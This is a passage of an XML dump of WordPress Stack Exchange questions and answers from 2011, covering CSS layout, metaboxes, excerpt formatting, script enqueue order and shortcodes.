&amp;lt;/body&amp;gt;&#xA;&amp;lt;/html&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The problem: Using absolute positioning to move everything up and eliminate that white space seems to have introduced another problem: now, when I view the page at (http://www.cchmuseum.org/education/carnegie_tour/), a few of the links near the bottom of the list, namely 'New! Stories and Photos', 'More About Carnegie', and 'Download Your Passport' are unclickable. I used the Firefox Firebug add-on and found that the following line of code (in the WordPress backend) seems to be doing something that covers up the unclickable links:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div style=&quot;width:100%;position:relative;float:left;padding-top:50px;&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Question: Why is this line of code in the WordPress backend interfering with my patchy CSS? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there anything I can do about it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you.&lt;/p&gt;&#xA;" OwnerUserId="8312" LastActivityDate="2011-08-31T21:03:32.917" Title="Positioning page content with CSS is making certain links on page unclickable" Tags="&lt;css&gt;&lt;html&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="27389" PostTypeId="2" ParentId="8368" CreationDate="2011-08-31T19:56:16.060" Score="0" ViewCount="" Body="&lt;p&gt;You have to add the meta og:video tags into your header for it to recognize them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Simple Facebook Connect does this automagically for YouTube content: &lt;a href=&quot;http://wordpress.org/extend/plugins/simple-facebook-connect/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/simple-facebook-connect/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More info on OpenGraph tags here: &lt;a href=&quot;http://developers.facebook.com/docs/opengraph/&quot; rel=&quot;nofollow&quot;&gt;http://developers.facebook.com/docs/opengraph/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2232" LastActivityDate="2011-08-31T19:56:16.060" />
  <row Id="27390" PostTypeId="2" ParentId="27385" CreationDate="2011-08-31T19:58:57.223" Score="2" ViewCount="" Body="&lt;p&gt;Step 1:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Define two custom image sizes, e.g.:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;add_image_size( 'normal-thumbnail', 400, 300, false ); // Default image size&#xA;add_image_size( 'mobile-device-thumbnail', 200, 150, false ); // Mobile-device image size&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Step 2:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Implement your chosen means to determine client. There are several ways, and which method you use is outside the scope of this question. But, assuming you have a method that works for you, output the result to some variable, such as &lt;code&gt;$mobile_device = true;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Step 3:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your template files, output the image conditionally, based on client.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;if ( true = $mobile_device ) { // client is mobile; be responsive&#xA;    the_post_thumbnail( 'mobile-device-thumbnail' );&#xA;} else {&#xA;    the_post_thumbnail( 'normal-thumbnail' );&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note: you could repeat the &lt;code&gt;if/else&lt;/code&gt; (or do a &lt;code&gt;switch&lt;/code&gt;) for multiple form factors (i.e. screen sizes). Just add multiple custom image sizes, and conditionally test for each screen size you want to support.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-08-31T19:58:57.223" CommentCount="1" />
  <row Id="27391" PostTypeId="1" CreationDate="2011-08-31T20:10:14.477" Score="0" ViewCount="36" Body="&lt;p&gt;I'm unfortunately working with rather thick headed clients who insist they need a &quot;form&quot; to fill out instead of the normal WP WYSIWYG Post editor. I tried to tell them that they could hide the parts that were confusing them, but apparently that won't work. Is there any way to create a simple 4 line form, in the admin panel, that creates a post with the content from those 4 lines? Any existing plugins I could use to do this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've already tried a custom post type but the &quot;large box&quot; for adding content is apparently too hard to grasp because they keep wanting &quot;lines&quot; in a form.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just need the output to be consistent. A simple post, something like:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Item: &lt;em&gt;whatever they type&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Amount: &lt;em&gt;whatever they type&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Model: &lt;em&gt;whatever they type&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Description: &lt;em&gt;whatever they type&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They can't handle writing the word &quot;Item&quot; themselves, and want a form to do it. Essentially, that's what I'm dealing with.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone have any ideas?&lt;/p&gt;&#xA;" OwnerUserId="8317" LastActivityDate="2011-09-01T08:48:31.543" Title="In admin panel, use a form to create a post?" Tags="&lt;posts&gt;&lt;admin&gt;&lt;form&gt;" AnswerCount="3" />
  <row Id="27392" PostTypeId="2" ParentId="3513" CreationDate="2011-08-31T20:25:32.470" Score="0" ViewCount="" Body="&lt;p&gt;Check it, WordPress supports templates for taxonomy archives, both for the taxonomy itself and its individual terms, out of the box: &lt;a href=&quot;http://codex.wordpress.org/File:Template_Hierarchy.png&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/File:Template_Hierarchy.png&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But unfortunately, I don't know how to make a taxonomy for a taxonomy (categories are simply a kind of taxonomy, a default kind). All taxonomies exist unto themselves, in separate permalink structures.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looking at your example, I want to know, why not just make &quot;shampoo&quot; a sub-category of &quot;hair?&quot; Then you'd get your URL of mysite/categories/hair/shampoo/dry.&lt;/p&gt;&#xA;" OwnerUserId="7978" LastActivityDate="2011-08-31T20:25:32.470" />
  <row Id="27393" PostTypeId="1" CreationDate="2011-08-31T18:33:27.257" Score="0" ViewCount="16" Body="&lt;p&gt;I have a client that i have completed a design from scratch and wordpress theme, the project is an internet TV website, although im falling short on finding a Decent video gallery plugin that meets basic needs, I designed the site and after researching found mpora, which had the exact method i was trying to accomplish, can someone point me in the direction of a plugin or a method of theming that works the same...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://video.mpora.com/snowboarding/&quot; rel=&quot;nofollow&quot;&gt;http://video.mpora.com/snowboarding/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It would be superb if i could embed a video into a normal post that can be categorized and he can add additional information like a normal blog post and on the homepage have the thumbnail displayed in a gallery, when clicked takes to the full post. plus be able to have all other blog posts under a /blog&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="8402" LastActivityDate="2011-08-31T20:42:40.033" Title="Need a wordpress video gallery plugin that works the like mpora.com" Tags="&lt;plugins&gt;" CommentCount="2" />
  <row Id="27394" PostTypeId="2" ParentId="27391" CreationDate="2011-08-31T20:53:10.913" Score="1" ViewCount="" Body="&lt;p&gt;You could create a custom metabox with those items as custom fields and then either remove support for the editor or hide it with CSS. Then output the post meta instead on the front end. Be aware that if you remove support for the editor, you'll have funky behavior with media attachments.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt; If you need a plugin to do the metabox, I'd actually recommend Advanced Custom Fields, at least at the moment: &lt;a href=&quot;http://wordpress.org/extend/plugins/advanced-custom-fields/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/advanced-custom-fields/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2226" LastEditorUserId="2226" LastEditorDisplayName="" LastEditDate="2011-08-31T21:05:39.967" LastActivityDate="2011-08-31T21:05:39.967" />
  <row Id="27395" PostTypeId="1" AcceptedAnswerId="27413" CreationDate="2011-08-31T20:56:40.763" Score="0" ViewCount="25" Body="&lt;p&gt;I want to remove the automatic paragraph tag that goes around my excerpts, which are being outputted by a custom function.  I'd really appreciate if you could tell me what to add to my code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using this custom function for excerpts:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  // Default length (by WordPress)&#xA;  public static $length = 25;&#xA;&#xA;  // So you can call: my_excerpt('short');&#xA;  public static $types = array(&#xA;      'short' =&amp;gt; 5,&#xA;      'regular' =&amp;gt; 25,&#xA;      'long' =&amp;gt; 100&#xA;    );&#xA;&#xA;  public static function length($new_length = 55) {&#xA;    Excerpt::$length = $new_length;&#xA;    add_filter('excerpt_length', 'Excerpt::new_length');&#xA;    Excerpt::output();&#xA;  }&#xA;  public static function new_length() {&#xA;    if( isset(Excerpt::$types[Excerpt::$length]) )&#xA;      return Excerpt::$types[Excerpt::$length];&#xA;    else&#xA;      return Excerpt::$length;&#xA;  }&#xA;  public static function output() {&#xA;    the_excerpt();&#xA;  }&#xA;}&#xA;&#xA;// An alias to the class&#xA;function my_excerpt($length = 25) {&#xA;  Excerpt::length($length);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and calling it using&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php my_excerpt('short'); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5205" LastEditorUserId="5205" LastEditorDisplayName="" LastEditDate="2011-08-31T23:04:46.280" LastActivityDate="2011-09-01T03:52:26.480" Title="Fix My Custom Function: Remove Automatic &lt;p&gt;" Tags="&lt;php&gt;&lt;functions&gt;" AnswerCount="2" />
  <row Id="27396" PostTypeId="2" ParentId="27391" CreationDate="2011-08-31T20:56:53.883" Score="0" ViewCount="" Body="&lt;p&gt;as Helen mentioned, removing the post editor:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('init', 'wpse27391_post_remove_editor');&#xA;function wpse27391_post_remove_editor() {&#xA;    remove_post_type_support( 'post', 'editor' );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;an easy class for creating meta boxes: &lt;a href=&quot;http://www.farinspace.com/wpalchemy-metabox/&quot; rel=&quot;nofollow&quot;&gt;WPAlchemy MetaBox&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;edit by Jon Brown - This is the MetaBox class I use &lt;a href=&quot;https://github.com/jaredatch/Custom-Metaboxes-and-Fields-for-WordPress&quot; rel=&quot;nofollow&quot;&gt;https://github.com/jaredatch/Custom-Metaboxes-and-Fields-for-WordPress&lt;/a&gt; Also note that a metabox class is coming to core in 3.3 &lt;a href=&quot;http://core.trac.wordpress.org/ticket/18179&quot; rel=&quot;nofollow&quot;&gt;http://core.trac.wordpress.org/ticket/18179&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;or maybe &lt;a href=&quot;http://wordpress.org/extend/plugins/custom-field-template/&quot; rel=&quot;nofollow&quot;&gt;custom field template&lt;/a&gt; plugin.&lt;/p&gt;&#xA;" OwnerUserId="4771" LastEditorUserId="2932" LastEditorDisplayName="" LastEditDate="2011-09-01T08:48:31.543" LastActivityDate="2011-09-01T08:48:31.543" CommentCount="1" />
  <row Id="27397" PostTypeId="1" AcceptedAnswerId="27400" CreationDate="2011-08-31T20:58:23.407" Score="0" ViewCount="23" Body="&lt;p&gt;I have a few scripts loading with my theme:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    // loading script.js&#xA;    &amp;lt;script type=&quot;text/javascript&quot; src=&quot;script.js&quot;&amp;gt;&amp;lt;/script&amp;gt; &#xA;&#xA;    // doing something using script.js&#xA;    &amp;lt;script type=&quot;text/javascript&quot;&amp;gt; &#xA;       script-var: &amp;lt;?php echo get_option('script1-var');?&amp;gt;&#xA;    &amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;They work well, but when I do &lt;code&gt;wp_enqueue_script&lt;/code&gt; instead of &lt;code&gt;&amp;lt;script src=&quot;&quot;&amp;gt;&lt;/code&gt; the script is loading AFTER in-line js content, so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;     // enqueuing script.js&#xA;     wp_enqueue_script('script-js', get_template_directory_uri() .&quot;/scripts/script.js&quot;);       &#xA;&#xA;     // doing something using script.js&#xA;     &amp;lt;script type=&quot;text/javascript&quot;&amp;gt; &#xA;        script-var: &amp;lt;?php echo get_option('script1-var');?&amp;gt;&#xA;     &amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Gives:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  &amp;lt;script type=&quot;text/javascript&quot;&amp;gt; &#xA;       script-var: &amp;lt;?php echo get_option('script1-var');?&amp;gt;&#xA;  &amp;lt;/script&amp;gt;&#xA;&#xA;   &amp;lt;!-- EVERYTHING ABOVE THIS LINE IS USELESS SINCE THE SCRIPT LOADS AFTER, NOT BEFORE, IT --&amp;gt;&#xA;  &amp;lt;script type='text/javascript' src='http://address/scripts/script.js?ver=3.2.1'&amp;gt;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How to avoid that? I know I could put my inline scripts into different files and enqueue them as well, but this is absolutely pointless since there is a lot of PHP functions in them.&lt;/p&gt;&#xA;" OwnerUserId="1869" LastActivityDate="2011-08-31T21:12:47.120" Title="wp_enqueue_script order - external vs inline js" Tags="&lt;wp-enqueue-script&gt;&lt;order&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="27398" PostTypeId="2" ParentId="27388" CreationDate="2011-08-31T21:03:32.917" Score="0" ViewCount="" Body="&lt;p&gt;The question itself is not phrased to seem WordPress-related, but it kind of is. You cannot put a full HTML page in the WordPress editor and have it work like you expect. The original theme/template is still going to apply and create two sets of &lt;code&gt;html&lt;/code&gt; and &lt;code&gt;body&lt;/code&gt;, which is a recipe for things going wrong. Absolute positioning when you are not 100% clear on what you're doing is also dangerous. You really need somebody who can help you get page-specific templates going in WordPress, which is what you need.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The things that is covering up your links and making them unclickable is the comments area. Also something somebody should be removing from the &lt;strong&gt;theme&lt;/strong&gt; if you don't use them, and it really should not be wrapped in a &lt;code&gt;div&lt;/code&gt; with inline styles.&lt;/p&gt;&#xA;" OwnerUserId="2226" LastActivityDate="2011-08-31T21:03:32.917" CommentCount="1" />
  <row Id="27399" PostTypeId="2" ParentId="27395" CreationDate="2011-08-31T21:08:27.610" Score="0" ViewCount="" Body="&lt;p&gt;I know two good techniques that work fine with shortcodes and should work with excerpts as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You're able to parse excerpt's content using:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function my_excerpt( $content ) {&#xA;&#xA;    /* Parse nested shortcodes and add formatting. */&#xA;    $content = trim( wpautop( do_shortcode( $content ) ) );&#xA;&#xA;    /* Remove '&amp;lt;/p&amp;gt;' from the start of the string. */&#xA;    if ( substr( $content, 0, 4 ) == '&amp;lt;/p&amp;gt;' )&#xA;        $content = substr( $content, 4 );&#xA;&#xA;    /* Remove '&amp;lt;p&amp;gt;' from the end of the string. */&#xA;    if ( substr( $content, -3, 3 ) == '&amp;lt;p&amp;gt;' )&#xA;        $content = substr( $content, 0, -3 );&#xA;&#xA;    /* Remove any instances of '&amp;lt;p&amp;gt;&amp;lt;/p&amp;gt;'. */&#xA;    $content = str_replace( array( '&amp;lt;p&amp;gt;&amp;lt;/p&amp;gt;' ), '', $content );&#xA;&#xA;    return $content;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In addition there is technique using [raw] shortcode:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function my_formatter($content) {&#xA;    $new_content = '';&#xA;    $pattern_full = '{(\[raw\].*?\[/raw\])}is';&#xA;    $pattern_contents = '{\[raw\](.*?)\[/raw\]}is';&#xA;    $pieces = preg_split($pattern_full, $content, -1, PREG_SPLIT_DELIM_CAPTURE);&#xA;&#xA;    foreach ($pieces as $piece) {&#xA;        if (preg_match($pattern_contents, $piece, $matches)) {&#xA;            $new_content .= $matches[1];&#xA;        } else {&#xA;            $new_content .= wptexturize(wpautop($piece));&#xA;        }&#xA;    }&#xA;&#xA;    return $new_content;&#xA;}&#xA;&#xA;remove_filter('the_content', 'wpautop');&#xA;remove_filter('the_content', 'wptexturize');&#xA;&#xA;add_filter('the_content', 'my_formatter', 99);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I hope it helps.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want us to help you with your function - it is always a good idea to say what is wrong with the function in the first place?&lt;/p&gt;&#xA;" OwnerUserId="1869" LastActivityDate="2011-08-31T21:08:27.610" CommentCount="1" />
  <row Id="27400" PostTypeId="2" ParentId="27397" CreationDate="2011-08-31T21:12:47.120" Score="0" ViewCount="" Body="&lt;p&gt;When you enqueue scripts, they get output with &lt;code&gt;wp_head()&lt;/code&gt;, so if you want inline scripts after, put them after &lt;code&gt;wp_head()&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, if you're putting scripts inline just to add some php, a better route would be to enqueue it and use &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_localize_script&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;wp_localize_script&lt;/code&gt;&lt;/a&gt; to set whatever js vars you need from php.&lt;/p&gt;&#xA;" OwnerUserId="4771" LastActivityDate="2011-08-31T21:12:47.120" CommentCount="2" />
  <row Id="27401" PostTypeId="1" CreationDate="2011-08-31T22:34:44.540" Score="0" ViewCount="20" Body="&lt;p&gt;I installed a syntax highlighter plugin so I could post and highlight code snippets.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My problem is wordpress is converting special characters in my code (e.g. from &amp;amp; to &amp;amp;) when I really just want it to leave my code alone&lt;/p&gt;&#xA;" OwnerUserId="8320" LastActivityDate="2011-09-01T00:42:25.763" Title="Wordpress is converting &amp; to &amp;amp; inbetween [code] brackets" Tags="&lt;code&gt;" AnswerCount="1" />
  <row Id="27402" PostTypeId="2" ParentId="27401" CreationDate="2011-08-31T22:55:06.233" Score="0" ViewCount="" Body="&lt;p&gt;I tracked this solution down from the WordPress Trac ticket found here:&#xA;&lt;a href=&quot;http://core.trac.wordpress.org/ticket/6969&quot; rel=&quot;nofollow&quot;&gt;http://core.trac.wordpress.org/ticket/6969&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The solutions seems to be to add this to your functions.php file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;function foobar_run_shortcode( $content ) {&#xA;    global $shortcode_tags;&#xA;&#xA;    // Backup current registered shortcodes and clear them all out&#xA;    $orig_shortcode_tags = $shortcode_tags;&#xA;    remove_all_shortcodes();&#xA;&#xA;    add_shortcode( 'foobar', 'shortcode_foobar' );&#xA;&#xA;    // Do the shortcode (only the one above is registered)&#xA;    $content = do_shortcode( $content );&#xA;&#xA;    // Put the original shortcodes back&#xA;    $shortcode_tags = $orig_shortcode_tags;&#xA;&#xA;    return $content;&#xA;}&#xA;&#xA;add_filter( 'the_content', 'foobar_run_shortcode', 7 ); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Source:&lt;/strong&gt;&#xA;&lt;a href=&quot;http://www.viper007bond.com/2009/11/22/wordpress-code-earlier-shortcodes/&quot; rel=&quot;nofollow&quot;&gt;http://www.viper007bond.com/2009/11/22/wordpress-code-earlier-shortcodes/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;REVISED ANSWER:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried the solution above, but I've not had any luck getting it to work. I've actually being trying different methods for the same problem with some luck, but none of them really work 100% without completely removing wp_autop and wp_texturize. I have found a way, but it takes an extra step. I'll post my solution in case your interested.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;My Way:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;First copy your php code    &lt;/li&gt;&#xA;&lt;li&gt;Go to &lt;a href=&quot;http://quickhighlighter.com/&quot; rel=&quot;nofollow&quot;&gt;http://quickhighlighter.com/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Paste your code into the textarea   &lt;/li&gt;&#xA;&lt;li&gt;Click Highlight!   &lt;/li&gt;&#xA;&lt;li&gt;When the code pops up, click the &quot;Toggle Code View&quot; link  &lt;/li&gt;&#xA;&lt;li&gt;Copy the Code (not the css, but the HTML)   &lt;/li&gt;&#xA;&lt;li&gt;Go to your post edit screen and select the post your adding the code&#xA;to   &lt;/li&gt;&#xA;&lt;li&gt;Click on HTML View   &lt;/li&gt;&#xA;&lt;li&gt;Paste the code into the editor and click save (switching from HTML&#xA;to Visual won't break the code since it's in HTML format and the&#xA;characters have already been converted)&#xA;The CSS Provided by the highlighter doesn't quite work (it isn't wrapped, and is full page). &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;You can use the CSS I've put together if you like:&#xA;&lt;a href=&quot;http://snipplr.com/view/58362/wordpress-code-highlighter-css/&quot; rel=&quot;nofollow&quot;&gt;http://snipplr.com/view/58362/wordpress-code-highlighter-css/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5339" LastEditorUserId="5339" LastEditorDisplayName="" LastEditDate="2011-09-01T00:42:25.763" LastActivityDate="2011-09-01T00:42:25.763" CommentCount="1" />
  <row Id="27403" PostTypeId="1" CreationDate="2011-08-31T23:28:57.690" Score="0" ViewCount="12" Body="&lt;p&gt;Is there a way to link to the authors profile page?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the moment i can access the authors profile by visiting the url like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://mysite.com/?author=1&quot; rel=&quot;nofollow&quot;&gt;http://mysite.com/?author=1&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a function that i could use to show this link regardless if the permalinks are changed?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advanced.&lt;/p&gt;&#xA;" OwnerUserId="8322" LastActivityDate="2011-09-01T00:03:52.783" Title="How to link to the current User/Author Profile page?" Tags="&lt;author&gt;&lt;profile&gt;" AnswerCount="1" />
  <row Id="27404" PostTypeId="2" ParentId="27386" CreationDate="2011-08-31T23:30:00.450" Score="0" ViewCount="" Body="&lt;p&gt;Two problems i see:&#xA;change &lt;code&gt;aside&lt;/code&gt; to &lt;code&gt;post-format-aside&lt;/code&gt; &#xA;and since you are using foreach loop change &lt;code&gt;new WP_Query( $singargs );&lt;/code&gt; to  &lt;code&gt;get_posts( $singargs );&lt;/code&gt; so your code sould look like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;$singargs = array(&#xA;'numberposts' =&amp;gt; 1,&#xA;'tax_query' =&amp;gt; array(&#xA;    'relation' =&amp;gt; 'AND',&#xA;    array(&#xA;        'taxonomy' =&amp;gt; 'category',&#xA;        'field' =&amp;gt; 'slug',&#xA;        'terms' =&amp;gt; array ( 'gift-of-the-day' ),&#xA;    ),&#xA;    array(&#xA;        'taxonomy', =&amp;gt; 'post_format',&#xA;        'field' =&amp;gt; 'slug',&#xA;        'terms' =&amp;gt; array( 'post-format-aside'),&#xA;    )&#xA;)&#xA;);&#xA;$singPost = get_posts( $singargs );&#xA;foreach ( $singPost as $post ) : setup_postdata($post); ?&amp;gt;&#xA;&amp;lt;aside&amp;gt;&#xA;    &amp;lt;h2&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/h2&amp;gt;&#xA;&amp;lt;/aside&amp;gt;&#xA;&amp;lt;?php endforeach; wp_reset_postdata(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-08-31T23:30:00.450" CommentCount="2" />
</posts>